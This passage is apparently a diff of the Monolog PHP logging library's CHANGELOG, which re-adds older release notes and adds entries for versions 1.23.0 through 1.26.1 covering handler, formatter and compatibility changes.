(2017-03-13) - - * Fixed lots of minor issues in the new Slack integrations - * Fixed support for allowInlineLineBreaks in LineFormatter when formatting exception backtraces - -### 1.22.0 (2016-11-26) - - * Added SlackbotHandler and SlackWebhookHandler to set up Slack integration more easily - * Added MercurialProcessor to add mercurial revision and branch names to log records - * Added support for AWS SDK v3 in DynamoDbHandler - * Fixed fatal errors occuring when normalizing generators that have been fully consumed - * Fixed RollbarHandler to include a level (rollbar level), monolog_level (original name), channel and datetime (unix) - * Fixed RollbarHandler not flushing records automatically, calling close() explicitly is not necessary anymore - * Fixed SyslogUdpHandler to avoid sending empty frames - * Fixed a few PHP 7.0 and 7.1 compatibility issues - -### 1.21.0 (2016-07-29) - - * Break: Reverted the addition of $context when the ErrorHandler handles regular php errors from 1.20.0 as it was causing issues - * Added support for more formats in RotatingFileHandler::setFilenameFormat as long as they have Y, m and d in order - * Added ability to format the main line of text the SlackHandler sends by explictly setting a formatter on the handler - * Added information about SoapFault instances in NormalizerFormatter - * Added $handleOnlyReportedErrors option on ErrorHandler::registerErrorHandler (default true) to allow logging of all errors no matter the error_reporting level - -### 1.20.0 (2016-07-02) - - * Added FingersCrossedHandler::activate() to manually trigger the handler regardless of the activation policy - * Added StreamHandler::getUrl to retrieve the stream's URL - * Added ability to override addRow/addTitle in HtmlFormatter - * Added the $context to context information when the ErrorHandler handles a regular php error - * Deprecated RotatingFileHandler::setFilenameFormat to only support 3 formats: Y, Y-m and Y-m-d - * Fixed WhatFailureGroupHandler to work with PHP7 throwables - * Fixed a few minor bugs - -### 1.19.0 (2016-04-12) - - * Break: StreamHandler will not close streams automatically that it does not own. If you pass in a stream (not a path/url), then it will not close it for you. You can retrieve those using getStream() if needed - * Added DeduplicationHandler to remove duplicate records from notifications across multiple requests, useful for email or other notifications on errors - * Added ability to use `%message%` and other LineFormatter replacements in the subject line of emails sent with NativeMailHandler and SwiftMailerHandler - * Fixed HipChatHandler handling of long messages - -### 1.18.2 (2016-04-02) - - * Fixed ElasticaFormatter to use more precise dates - * Fixed GelfMessageFormatter sending too long messages - -### 1.18.1 (2016-03-13) - - * Fixed SlackHandler bug where slack dropped messages randomly - * Fixed RedisHandler issue when using with the PHPRedis extension - * Fixed AmqpHandler content-type being incorrectly set when using with the AMQP extension - * Fixed BrowserConsoleHandler regression - -### 1.18.0 (2016-03-01) - - * Added optional reduction of timestamp precision via `Logger->useMicrosecondTimestamps(false)`, disabling it gets you a bit of performance boost but reduces the precision to the second instead of microsecond - * Added possibility to skip some extra stack frames in IntrospectionProcessor if you have some library wrapping Monolog that is always adding frames - * Added `Logger->withName` to clone a logger (keeping all handlers) with a new name - * Added FluentdFormatter for the Fluentd unix socket protocol - * Added HandlerWrapper base class to ease the creation of handler wrappers, just extend it and override as needed - * Added support for replacing context sub-keys using `%context.*%` in LineFormatter - * Added support for `payload` context value in RollbarHandler - * Added setRelease to RavenHandler to describe the application version, sent with every log - * Added support for `fingerprint` context value in RavenHandler - * Fixed JSON encoding errors that would gobble up the whole log record, we now handle those more gracefully by dropping chars as needed - * Fixed write timeouts in SocketHandler and derivatives, set to 10sec by default, lower it with `setWritingTimeout()` - * Fixed PHP7 compatibility with regard to Exception/Throwable handling in a few places - -### 1.17.2 (2015-10-14) - - * Fixed ErrorHandler compatibility with non-Monolog PSR-3 loggers - * Fixed SlackHandler handling to use slack functionalities better - * Fixed SwiftMailerHandler bug when sending multiple emails they all had the same id - * Fixed 5.3 compatibility regression - -### 1.17.1 (2015-08-31) - - * Fixed RollbarHandler triggering PHP notices - -### 1.17.0 (2015-08-30) - - * Added support for `checksum` and `release` context/extra values in RavenHandler - * Added better support for exceptions in RollbarHandler - * Added UidProcessor::getUid - * Added support for showing the resource type in NormalizedFormatter - * Fixed IntrospectionProcessor triggering PHP notices - -### 1.16.0 (2015-08-09) - - * Added IFTTTHandler to notify ifttt.com triggers - * Added Logger::setHandlers() to allow setting/replacing all handlers - * Added $capSize in RedisHandler to cap the log size - * Fixed StreamHandler creation of directory to only trigger when the first log write happens - * Fixed bug in the handling of curl failures - * Fixed duplicate logging of fatal errors when both error and fatal error handlers are registered in monolog's ErrorHandler - * Fixed missing fatal errors records with handlers that need to be closed to flush log records - * Fixed TagProcessor::addTags support for associative arrays - -### 1.15.0 (2015-07-12) - - * Added addTags and setTags methods to change a TagProcessor - * Added automatic creation of directories if they are missing for a StreamHandler to open a log file - * Added retry functionality to Loggly, Cube and Mandrill handlers so they retry up to 5 times in case of network failure - * Fixed process exit code being incorrectly reset to 0 if ErrorHandler::registerExceptionHandler was used - * Fixed HTML/JS escaping in BrowserConsoleHandler - * Fixed JSON encoding errors being silently suppressed (PHP 5.5+ only) - -### 1.14.0 (2015-06-19) - - * Added PHPConsoleHandler to send record to Chrome's PHP Console extension and library - * Added support for objects implementing __toString in the NormalizerFormatter - * Added support for HipChat's v2 API in HipChatHandler - * Added Logger::setTimezone() to initialize the timezone monolog should use in case date.timezone isn't correct for your app - * Added an option to send formatted message instead of the raw record on PushoverHandler via ->useFormattedMessage(true) - * Fixed curl errors being silently suppressed - -### 1.13.1 (2015-03-09) - - * Fixed regression in HipChat requiring a new token to be created - -### 1.13.0 (2015-03-05) - - * Added Registry::hasLogger to check for the presence of a logger instance - * Added context.user support to RavenHandler - * Added HipChat API v2 support in the HipChatHandler - * Added NativeMailerHandler::addParameter to pass params to the mail() process - * Added context data to SlackHandler when $includeContextAndExtra is true - * Added ability to customize the Swift_Message per-email in SwiftMailerHandler - * Fixed SwiftMailerHandler to lazily create message instances if a callback is provided - * Fixed serialization of INF and NaN values in Normalizer and LineFormatter - -### 1.12.0 (2014-12-29) - - * Break: HandlerInterface::isHandling now receives a partial record containing only a level key. This was always the intent and does not break any Monolog handler but is strictly speaking a BC break and you should check if you relied on any other field in your own handlers. - * Added PsrHandler to forward records to another PSR-3 logger - * Added SamplingHandler to wrap around a handler and include only every Nth record - * Added MongoDBFormatter to support better storage with MongoDBHandler (it must be enabled manually for now) - * Added exception codes in the output of most formatters - * Added LineFormatter::includeStacktraces to enable exception stack traces in logs (uses more than one line) - * Added $useShortAttachment to SlackHandler to minify attachment size and $includeExtra to append extra data - * Added $host to HipChatHandler for users of private instances - * Added $transactionName to NewRelicHandler and support for a transaction_name context value - * Fixed MandrillHandler to avoid outputing API call responses - * Fixed some non-standard behaviors in SyslogUdpHandler - -### 1.11.0 (2014-09-30) - - * Break: The NewRelicHandler extra and context data are now prefixed with extra_ and context_ to avoid clashes. Watch out if you have scripts reading those from the API and rely on names - * Added WhatFailureGroupHandler to suppress any exception coming from the wrapped handlers and avoid chain failures if a logging service fails - * Added MandrillHandler to send emails via the Mandrillapp.com API - * Added SlackHandler to log records to a Slack.com account - * Added FleepHookHandler to log records to a Fleep.io account - * Added LogglyHandler::addTag to allow adding tags to an existing handler - * Added $ignoreEmptyContextAndExtra to LineFormatter to avoid empty [] at the end - * Added $useLocking to StreamHandler and RotatingFileHandler to enable flock() while writing - * Added support for PhpAmqpLib in the AmqpHandler - * Added FingersCrossedHandler::clear and BufferHandler::clear to reset them between batches in long running jobs - * Added support for adding extra fields from $_SERVER in the WebProcessor - * Fixed support for non-string values in PrsLogMessageProcessor - * Fixed SwiftMailer messages being sent with the wrong date in long running scripts - * Fixed minor PHP 5.6 compatibility issues - * Fixed BufferHandler::close being called twice - -### 1.10.0 (2014-06-04) - - * Added Logger::getHandlers() and Logger::getProcessors() methods - * Added $passthruLevel argument to FingersCrossedHandler to let it always pass some records through even if the trigger level is not reached - * Added support for extra data in NewRelicHandler - * Added $expandNewlines flag to the ErrorLogHandler to create multiple log entries when a message has multiple lines - -### 1.9.1 (2014-04-24) - - * Fixed regression in RotatingFileHandler file permissions - * Fixed initialization of the BufferHandler to make sure it gets flushed after receiving records - * Fixed ChromePHPHandler and FirePHPHandler's activation strategies to be more conservative - -### 1.9.0 (2014-04-20) - - * Added LogEntriesHandler to send logs to a LogEntries account - * Added $filePermissions to tweak file mode on StreamHandler and RotatingFileHandler - * Added $useFormatting flag to MemoryProcessor to make it send raw data in bytes - * Added support for table formatting in FirePHPHandler via the table context key - * Added a TagProcessor to add tags to records, and support for tags in RavenHandler - * Added $appendNewline flag to the JsonFormatter to enable using it when logging to files - * Added sound support to the PushoverHandler - * Fixed multi-threading support in StreamHandler - * Fixed empty headers issue when ChromePHPHandler received no records - * Fixed default format of the ErrorLogHandler - -### 1.8.0 (2014-03-23) - - * Break: the LineFormatter now strips newlines by default because this was a bug, set $allowInlineLineBreaks to true if you need them - * Added BrowserConsoleHandler to send logs to any browser's console via console.log() injection in the output - * Added FilterHandler to filter records and only allow those of a given list of levels through to the wrapped handler - * Added FlowdockHandler to send logs to a Flowdock account - * Added RollbarHandler to send logs to a Rollbar account - * Added HtmlFormatter to send prettier log emails with colors for each log level - * Added GitProcessor to add the current branch/commit to extra record data - * Added a Monolog\Registry class to allow easier global access to pre-configured loggers - * Added support for the new official graylog2/gelf-php lib for GelfHandler, upgrade if you can by replacing the mlehner/gelf-php requirement - * Added support for HHVM - * Added support for Loggly batch uploads - * Added support for tweaking the content type and encoding in NativeMailerHandler - * Added $skipClassesPartials to tweak the ignored classes in the IntrospectionProcessor - * Fixed batch request support in GelfHandler - -### 1.7.0 (2013-11-14) - - * Added ElasticSearchHandler to send logs to an Elastic Search server - * Added DynamoDbHandler and ScalarFormatter to send logs to Amazon's Dynamo DB - * Added SyslogUdpHandler to send logs to a remote syslogd server - * Added LogglyHandler to send logs to a Loggly account - * Added $level to IntrospectionProcessor so it only adds backtraces when needed - * Added $version to LogstashFormatter to allow using the new v1 Logstash format - * Added $appName to NewRelicHandler - * Added configuration of Pushover notification retries/expiry - * Added $maxColumnWidth to NativeMailerHandler to change the 70 chars default - * Added chainability to most setters for all handlers - * Fixed RavenHandler batch processing so it takes the message from the record with highest priority - * Fixed HipChatHandler batch processing so it sends all messages at once - * Fixed issues with eAccelerator - * Fixed and improved many small things - -### 1.6.0 (2013-07-29) - - * Added HipChatHandler to send logs to a HipChat chat room - * Added ErrorLogHandler to send logs to PHP's error_log function - * Added NewRelicHandler to send logs to NewRelic's service - * Added Monolog\ErrorHandler helper class to register a Logger as exception/error/fatal handler - * Added ChannelLevelActivationStrategy for the FingersCrossedHandler to customize levels by channel - * Added stack traces output when normalizing exceptions (json output & co) - * Added Monolog\Logger::API constant (currently 1) - * Added support for ChromePHP's v4.0 extension - * Added support for message priorities in PushoverHandler, see $highPriorityLevel and $emergencyLevel - * Added support for sending messages to multiple users at once with the PushoverHandler - * Fixed RavenHandler's support for batch sending of messages (when behind a Buffer or FingersCrossedHandler) - * Fixed normalization of Traversables with very large data sets, only the first 1000 items are shown now - * Fixed issue in RotatingFileHandler when an open_basedir restriction is active - * Fixed minor issues in RavenHandler and bumped the API to Raven 0.5.0 - * Fixed SyslogHandler issue when many were used concurrently with different facilities - -### 1.5.0 (2013-04-23) - - * Added ProcessIdProcessor to inject the PID in log records - * Added UidProcessor to inject a unique identifier to all log records of one request/run - * Added support for previous exceptions in the LineFormatter exception serialization - * Added Monolog\Logger::getLevels() to get all available levels - * Fixed ChromePHPHandler so it avoids sending headers larger than Chrome can handle - -### 1.4.1 (2013-04-01) - - * Fixed exception formatting in the LineFormatter to be more minimalistic - * Fixed RavenHandler's handling of context/extra data, requires Raven client >0.1.0 - * Fixed log rotation in RotatingFileHandler to work with long running scripts spanning multiple days - * Fixed WebProcessor array access so it checks for data presence - * Fixed Buffer, Group and FingersCrossed handlers to make use of their processors - -### 1.4.0 (2013-02-13) - - * Added RedisHandler to log to Redis via the Predis library or the phpredis extension - * Added ZendMonitorHandler to log to the Zend Server monitor - * Added the possibility to pass arrays of handlers and processors directly in the Logger constructor - * Added `$useSSL` option to the PushoverHandler which is enabled by default - * Fixed ChromePHPHandler and FirePHPHandler issue when multiple instances are used simultaneously - * Fixed header injection capability in the NativeMailHandler - -### 1.3.1 (2013-01-11) - - * Fixed LogstashFormatter to be usable with stream handlers - * Fixed GelfMessageFormatter levels on Windows - -### 1.3.0 (2013-01-08) - - * Added PSR-3 compliance, the `Monolog\Logger` class is now an instance of `Psr\Log\LoggerInterface` - * Added PsrLogMessageProcessor that you can selectively enable for full PSR-3 compliance - * Added LogstashFormatter (combine with SocketHandler or StreamHandler to send logs to Logstash) - * Added PushoverHandler to send mobile notifications - * Added CouchDBHandler and DoctrineCouchDBHandler - * Added RavenHandler to send data to Sentry servers - * Added support for the new MongoClient class in MongoDBHandler - * Added microsecond precision to log records' timestamps - * Added `$flushOnOverflow` param to BufferHandler to flush by batches instead of losing - the oldest entries - * Fixed normalization of objects with cyclic references - -### 1.2.1 (2012-08-29) - - * Added new $logopts arg to SyslogHandler to provide custom openlog options - * Fixed fatal error in SyslogHandler - -### 1.2.0 (2012-08-18) - - * Added AmqpHandler (for use with AMQP servers) - * Added CubeHandler - * Added NativeMailerHandler::addHeader() to send custom headers in mails - * Added the possibility to specify more than one recipient in NativeMailerHandler - * Added the possibility to specify float timeouts in SocketHandler - * Added NOTICE and EMERGENCY levels to conform with RFC 5424 - * Fixed the log records to use the php default timezone instead of UTC - * Fixed BufferHandler not being flushed properly on PHP fatal errors - * Fixed normalization of exotic resource types - * Fixed the default format of the SyslogHandler to avoid duplicating datetimes in syslog - -### 1.1.0 (2012-04-23) - - * Added Monolog\Logger::isHandling() to check if a handler will - handle the given log level - * Added ChromePHPHandler - * Added MongoDBHandler - * Added GelfHandler (for use with Graylog2 servers) - * Added SocketHandler (for use with syslog-ng for example) - * Added NormalizerFormatter - * Added the possibility to change the activation strategy of the FingersCrossedHandler - * Added possibility to show microseconds in logs - * Added `server` and `referer` to WebProcessor output - -### 1.0.2 (2011-10-24) - - * Fixed bug in IE with large response headers and FirePHPHandler - -### 1.0.1 (2011-08-25) - - * Added MemoryPeakUsageProcessor and MemoryUsageProcessor - * Added Monolog\Logger::getName() to get a logger's channel name - -### 1.0.0 (2011-07-06) - - * Added IntrospectionProcessor to get info from where the logger was called - * Fixed WebProcessor in CLI - -### 1.0.0-RC1 (2011-07-01) - - * Initial release +### 1.26.1 (2021-05-28) + + * Fixed PHP 8.1 deprecation warning + +### 1.26.0 (2020-12-14) + + * Added $dateFormat and $removeUsedContextFields arguments to PsrLogMessageProcessor (backport from 2.x) + +### 1.25.5 (2020-07-23) + + * Fixed array access on null in RavenHandler + * Fixed unique_id in WebProcessor not being disableable + +### 1.25.4 (2020-05-22) + + * Fixed GitProcessor type error when there is no git repo present + * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" + * Fixed support for relative paths in RotatingFileHandler + +### 1.25.3 (2019-12-20) + + * Fixed formatting of resources in JsonFormatter + * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) + * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it + * Fixed Turkish locale messing up the conversion of level names to their constant values + +### 1.25.2 (2019-11-13) + + * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable + * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler and SamplingHandler + * Fixed BrowserConsoleHandler formatting when using multiple styles + * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings + * Fixed normalization of SoapFault objects containing non-strings as "detail" + * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding + +### 1.25.1 (2019-09-06) + + * Fixed forward-compatible interfaces to be compatible with Monolog 1.x too. + +### 1.25.0 (2019-09-06) + + * Deprecated SlackbotHandler, use SlackWebhookHandler or SlackHandler instead + * Deprecated RavenHandler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead + * Deprecated HipChatHandler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead + * Added forward-compatible interfaces and traits FormattableHandlerInterface, FormattableHandlerTrait, ProcessableHandlerInterface, ProcessableHandlerTrait. If you use modern PHP and want to make code compatible with Monolog 1 and 2 this can help. You will have to require at least Monolog 1.25 though. + * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler + * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records + * Fixed issue in SignalHandler restarting syscalls functionality + * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases + * Fixed ZendMonitorHandler to work with the latest Zend Server versions + * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). + +### 1.24.0 (2018-11-05) + + * BC Notice: If you are extending any of the Monolog's Formatters' `normalize` method, make sure you add the new `$depth = 0` argument to your function signature to avoid strict PHP warnings. + * Added a `ResettableInterface` in order to reset/reset/clear/flush handlers and processors + * Added a `ProcessorInterface` as an optional way to label a class as being a processor (mostly useful for autowiring dependency containers) + * Added a way to log signals being received using Monolog\SignalHandler + * Added ability to customize error handling at the Logger level using Logger::setExceptionHandler + * Added InsightOpsHandler to migrate users of the LogEntriesHandler + * Added protection to NormalizerHandler against circular and very deep structures, it now stops normalizing at a depth of 9 + * Added capture of stack traces to ErrorHandler when logging PHP errors + * Added RavenHandler support for a `contexts` context or extra key to forward that to Sentry's contexts + * Added forwarding of context info to FluentdFormatter + * Added SocketHandler::setChunkSize to override the default chunk size in case you must send large log lines to rsyslog for example + * Added ability to extend/override BrowserConsoleHandler + * Added SlackWebhookHandler::getWebhookUrl and SlackHandler::getToken to enable class extensibility + * Added SwiftMailerHandler::getSubjectFormatter to enable class extensibility + * Dropped official support for HHVM in test builds + * Fixed normalization of exception traces when call_user_func is used to avoid serializing objects and the data they contain + * Fixed naming of fields in Slack handler, all field names are now capitalized in all cases + * Fixed HipChatHandler bug where slack dropped messages randomly + * Fixed normalization of objects in Slack handlers + * Fixed support for PHP7's Throwable in NewRelicHandler + * Fixed race bug when StreamHandler sometimes incorrectly reported it failed to create a directory + * Fixed table row styling issues in HtmlFormatter + * Fixed RavenHandler dropping the message when logging exception + * Fixed WhatFailureGroupHandler skipping processors when using handleBatch + and implement it where possible + * Fixed display of anonymous class names + +### 1.23.0 (2017-06-19) + + * Improved SyslogUdpHandler's support for RFC5424 and added optional `$ident` argument + * Fixed GelfHandler truncation to be per field and not per message + * Fixed compatibility issue with PHP <5.3.6 + * Fixed support for headless Chrome in ChromePHPHandler + * Fixed support for latest Aws SDK in DynamoDbHandler + * Fixed support for SwiftMailer 6.0+ in SwiftMailerHandler + +### 1.22.1 (2017-03-13) + + * Fixed lots of minor issues in the new Slack integrations + * Fixed support for allowInlineLineBreaks in LineFormatter when formatting exception backtraces + +### 1.22.0 (2016-11-26) + + * Added SlackbotHandler and SlackWebhookHandler to set up Slack integration more easily + * Added MercurialProcessor to add mercurial revision and branch names to log records + * Added support for AWS SDK v3 in DynamoDbHandler + * Fixed fatal errors occuring when normalizing generators that have been fully consumed + * Fixed RollbarHandler to include a level (rollbar level), monolog_level (original name), channel and datetime (unix) + * Fixed RollbarHandler not flushing records automatically, calling close() explicitly is not necessary anymore + * Fixed SyslogUdpHandler to avoid sending empty frames + * Fixed a few PHP 7.0 and 7.1 compatibility issues + +### 1.21.0 (2016-07-29) + + * Break: Reverted the addition of $context when the ErrorHandler handles regular php errors from 1.20.0 as it was causing issues + * Added support for more formats in RotatingFileHandler::setFilenameFormat as long as they have Y, m and d in order + * Added ability to format the main line of text the SlackHandler sends by explictly setting a formatter on the handler + * Added information about SoapFault instances in NormalizerFormatter + * Added $handleOnlyReportedErrors option on ErrorHandler::registerErrorHandler (default true) to allow logging of all errors no matter the error_reporting level + +### 1.20.0 (2016-07-02) + + * Added FingersCrossedHandler::activate() to manually trigger the handler regardless of the activation policy + * Added StreamHandler::getUrl to retrieve the stream's URL + * Added ability to override addRow/addTitle in HtmlFormatter + * Added the $context to context information when the ErrorHandler handles a regular php error + * Deprecated RotatingFileHandler::setFilenameFormat to only support 3 formats: Y, Y-m and Y-m-d + * Fixed WhatFailureGroupHandler to work with PHP7 throwables + * Fixed a few minor bugs + +### 1.19.0 (2016-04-12) + + * Break: StreamHandler will not close streams automatically that it does not own. If you pass in a stream (not a path/url), then it will not close it for you. You can retrieve those using getStream() if needed + * Added DeduplicationHandler to remove duplicate records from notifications across multiple requests, useful for email or other notifications on errors + * Added ability to use `%message%` and other LineFormatter replacements in the subject line of emails sent with NativeMailHandler and SwiftMailerHandler + * Fixed HipChatHandler handling of long messages + +### 1.18.2 (2016-04-02) + + * Fixed ElasticaFormatter to use more precise dates + * Fixed GelfMessageFormatter sending too long messages + +### 1.18.1 (2016-03-13) + + * Fixed SlackHandler bug where slack dropped messages randomly + * Fixed RedisHandler issue when using with the PHPRedis extension + * Fixed AmqpHandler content-type being incorrectly set when using with the AMQP extension + * Fixed BrowserConsoleHandler regression + +### 1.18.0 (2016-03-01) + + * Added optional reduction of timestamp precision via `Logger->useMicrosecondTimestamps(false)`, disabling it gets you a bit of performance boost but reduces the precision to the second instead of microsecond + * Added possibility to skip some extra stack frames in IntrospectionProcessor if you have some library wrapping Monolog that is always adding frames + * Added `Logger->withName` to clone a logger (keeping all handlers) with a new name + * Added FluentdFormatter for the Fluentd unix socket protocol + * Added HandlerWrapper base class to ease the creation of handler wrappers, just extend it and override as needed + * Added support for replacing context sub-keys using `%context.*%` in LineFormatter + * Added support for `payload` context value in RollbarHandler + * Added setRelease to RavenHandler to describe the application version, sent with every log + * Added support for `fingerprint` context value in RavenHandler + * Fixed JSON encoding errors that would gobble up the whole log record, we now handle those more gracefully by dropping chars as needed + * Fixed write timeouts in SocketHandler and derivatives, set to 10sec by default, lower it with `setWritingTimeout()` + * Fixed PHP7 compatibility with regard to Exception/Throwable handling in a few places + +### 1.17.2 (2015-10-14) + + * Fixed ErrorHandler compatibility with non-Monolog PSR-3 loggers + * Fixed SlackHandler handling to use slack functionalities better + * Fixed SwiftMailerHandler bug when sending multiple emails they all had the same id + * Fixed 5.3 compatibility regression + +### 1.17.1 (2015-08-31) + + * Fixed RollbarHandler triggering PHP notices + +### 1.17.0 (2015-08-30) + + * Added support for `checksum` and `release` context/extra values in RavenHandler + * Added better support for exceptions in RollbarHandler + * Added UidProcessor::getUid + * Added support for showing the resource type in NormalizedFormatter + * Fixed IntrospectionProcessor triggering PHP notices + +### 1.16.0 (2015-08-09) + + * Added IFTTTHandler to notify ifttt.com triggers + * Added Logger::setHandlers() to allow setting/replacing all handlers + * Added $capSize in RedisHandler to cap the log size + * Fixed StreamHandler creation of directory to only trigger when the first log write happens + * Fixed bug in the handling of curl failures + * Fixed duplicate logging of fatal errors when both error and fatal error handlers are registered in monolog's ErrorHandler + * Fixed missing fatal errors records with handlers that need to be closed to flush log records + * Fixed TagProcessor::addTags support for associative arrays + +### 1.15.0 (2015-07-12) + + * Added addTags and setTags methods to change a TagProcessor + * Added automatic creation of directories if they are missing for a StreamHandler to open a log file + * Added retry functionality to Loggly, Cube and Mandrill handlers so they retry up to 5 times in case of network failure + * Fixed process exit code being incorrectly reset to 0 if ErrorHandler::registerExceptionHandler was used + * Fixed HTML/JS escaping in BrowserConsoleHandler + * Fixed JSON encoding errors being silently suppressed (PHP 5.5+ only) + +### 1.14.0 (2015-06-19) + + * Added PHPConsoleHandler to send record to Chrome's PHP Console extension and library + * Added support for objects implementing __toString in the NormalizerFormatter + * Added support for HipChat's v2 API in HipChatHandler + * Added Logger::setTimezone() to initialize the timezone monolog should use in case date.timezone isn't correct for your app + * Added an option to send formatted message instead of the raw record on PushoverHandler via ->useFormattedMessage(true) + * Fixed curl errors being silently suppressed + +### 1.13.1 (2015-03-09) + + * Fixed regression in HipChat requiring a new token to be created + +### 1.13.0 (2015-03-05) + + * Added Registry::hasLogger to check for the presence of a logger instance + * Added context.user support to RavenHandler + * Added HipChat API v2 support in the HipChatHandler + * Added NativeMailerHandler::addParameter to pass params to the mail() process + * Added context data to SlackHandler when $includeContextAndExtra is true + * Added ability to customize the Swift_Message per-email in SwiftMailerHandler + * Fixed SwiftMailerHandler to lazily create message instances if a callback is provided + * Fixed serialization of INF and NaN values in Normalizer and LineFormatter + +### 1.12.0 (2014-12-29) + + * Break: HandlerInterface::isHandling now receives a partial record containing only a level key. This was always the intent and does not break any Monolog handler but is strictly speaking a BC break and you should check if you relied on any other field in your own handlers. + * Added PsrHandler to forward records to another PSR-3 logger + * Added SamplingHandler to wrap around a handler and include only every Nth record + * Added MongoDBFormatter to support better storage with MongoDBHandler (it must be enabled manually for now) + * Added exception codes in the output of most formatters + * Added LineFormatter::includeStacktraces to enable exception stack traces in logs (uses more than one line) + * Added $useShortAttachment to SlackHandler to minify attachment size and $includeExtra to append extra data + * Added $host to HipChatHandler for users of private instances + * Added $transactionName to NewRelicHandler and support for a transaction_name context value + * Fixed MandrillHandler to avoid outputing API call responses + * Fixed some non-standard behaviors in SyslogUdpHandler + +### 1.11.0 (2014-09-30) + + * Break: The NewRelicHandler extra and context data are now prefixed with extra_ and context_ to avoid clashes. Watch out if you have scripts reading those from the API and rely on names + * Added WhatFailureGroupHandler to suppress any exception coming from the wrapped handlers and avoid chain failures if a logging service fails + * Added MandrillHandler to send emails via the Mandrillapp.com API + * Added SlackHandler to log records to a Slack.com account + * Added FleepHookHandler to log records to a Fleep.io account + * Added LogglyHandler::addTag to allow adding tags to an existing handler + * Added $ignoreEmptyContextAndExtra to LineFormatter to avoid empty [] at the end + * Added $useLocking to StreamHandler and RotatingFileHandler to enable flock() while writing + * Added support for PhpAmqpLib in the AmqpHandler + * Added FingersCrossedHandler::clear and BufferHandler::clear to reset them between batches in long running jobs + * Added support for adding extra fields from $_SERVER in the WebProcessor + * Fixed support for non-string values in PrsLogMessageProcessor + * Fixed SwiftMailer messages being sent with the wrong date in long running scripts + * Fixed minor PHP 5.6 compatibility issues + * Fixed BufferHandler::close being called twice + +### 1.10.0 (2014-06-04) + + * Added Logger::getHandlers() and Logger::getProcessors() methods + * Added $passthruLevel argument to FingersCrossedHandler to let it always pass some records through even if the trigger level is not reached + * Added support for extra data in NewRelicHandler + * Added $expandNewlines flag to the ErrorLogHandler to create multiple log entries when a message has multiple lines + +### 1.9.1 (2014-04-24) + + * Fixed regression in RotatingFileHandler file permissions + * Fixed initialization of the BufferHandler to make sure it gets flushed after receiving records + * Fixed ChromePHPHandler and FirePHPHandler's activation strategies to be more conservative + +### 1.9.0 (2014-04-20) + + * Added LogEntriesHandler to send logs to a LogEntries account + * Added $filePermissions to tweak file mode on StreamHandler and RotatingFileHandler + * Added $useFormatting flag to MemoryProcessor to make it send raw data in bytes + * Added support for table formatting in FirePHPHandler via the table context key + * Added a TagProcessor to add tags to records, and support for tags in RavenHandler + * Added $appendNewline flag to the JsonFormatter to enable using it when logging to files + * Added sound support to the PushoverHandler + * Fixed multi-threading support in StreamHandler + * Fixed empty headers issue when ChromePHPHandler received no records + * Fixed default format of the ErrorLogHandler + +### 1.8.0 (2014-03-23) + + * Break: the LineFormatter now strips newlines by default because this was a bug, set $allowInlineLineBreaks to true if you need them + * Added BrowserConsoleHandler to send logs to any browser's console via console.log() injection in the output + * Added FilterHandler to filter records and only allow those of a given list of levels through to the wrapped handler + * Added FlowdockHandler to send logs to a Flowdock account + * Added RollbarHandler to send logs to a Rollbar account + * Added HtmlFormatter to send prettier log emails with colors for each log level + * Added GitProcessor to add the current branch/commit to extra record data + * Added a Monolog\Registry class to allow easier global access to pre-configured loggers + * Added support for the new official graylog2/gelf-php lib for GelfHandler, upgrade if you can by replacing the mlehner/gelf-php requirement + * Added support for HHVM + * Added support for Loggly batch uploads + * Added support for tweaking the content type and encoding in NativeMailerHandler + * Added $skipClassesPartials to tweak the ignored classes in the IntrospectionProcessor + * Fixed batch request support in GelfHandler + +### 1.7.0 (2013-11-14) + + * Added ElasticSearchHandler to send logs to an Elastic Search server + * Added DynamoDbHandler and ScalarFormatter to send logs to Amazon's Dynamo DB + * Added SyslogUdpHandler to send logs to a remote syslogd server + * Added LogglyHandler to send logs to a Loggly account + * Added $level to IntrospectionProcessor so it only adds backtraces when needed + * Added $version to LogstashFormatter to allow using the new v1 Logstash format + * Added $appName to NewRelicHandler + * Added configuration of Pushover notification retries/expiry + * Added $maxColumnWidth to NativeMailerHandler to change the 70 chars default + * Added chainability to most setters for all handlers + * Fixed RavenHandler batch processing so it takes the message from the record with highest priority + * Fixed HipChatHandler batch processing so it sends all messages at once + * Fixed issues with eAccelerator + * Fixed and improved many small things + +### 1.6.0 (2013-07-29) + + * Added HipChatHandler to send logs to a HipChat chat room + * Added ErrorLogHandler to send logs to PHP's error_log function + * Added NewRelicHandler to send logs to NewRelic's service + * Added Monolog\ErrorHandler helper class to register a Logger as exception/error/fatal handler + * Added ChannelLevelActivationStrategy for the FingersCrossedHandler to customize levels by channel + * Added stack traces output when normalizing exceptions (json output & co) + * Added Monolog\Logger::API constant (currently 1) + * Added support for ChromePHP's v4.0 extension + * Added support for message priorities in PushoverHandler, see $highPriorityLevel and $emergencyLevel + * Added support for sending messages to multiple users at once with the PushoverHandler + * Fixed RavenHandler's support for batch sending of messages (when behind a Buffer or FingersCrossedHandler) + * Fixed normalization of Traversables with very large data sets, only the first 1000 items are shown now + * Fixed issue in RotatingFileHandler when an open_basedir restriction is active + * Fixed minor issues in RavenHandler and bumped the API to Raven 0.5.0 + * Fixed SyslogHandler issue when many were used concurrently with different facilities + +### 1.5.0 (2013-04-23) + + * Added ProcessIdProcessor to inject the PID in log records + * Added UidProcessor to inject a unique identifier to all log records of one request/run + * Added support for previous exceptions in the LineFormatter exception serialization + * Added Monolog\Logger::getLevels() to get all available levels + * Fixed ChromePHPHandler so it avoids sending headers larger than Chrome can handle + +### 1.4.1 (2013-04-01) + + * Fixed exception formatting in the LineFormatter to be more minimalistic + * Fixed RavenHandler's handling of context/extra data, requires Raven client >0.1.0 + * Fixed log rotation in RotatingFileHandler to work with long running scripts spanning multiple days + * 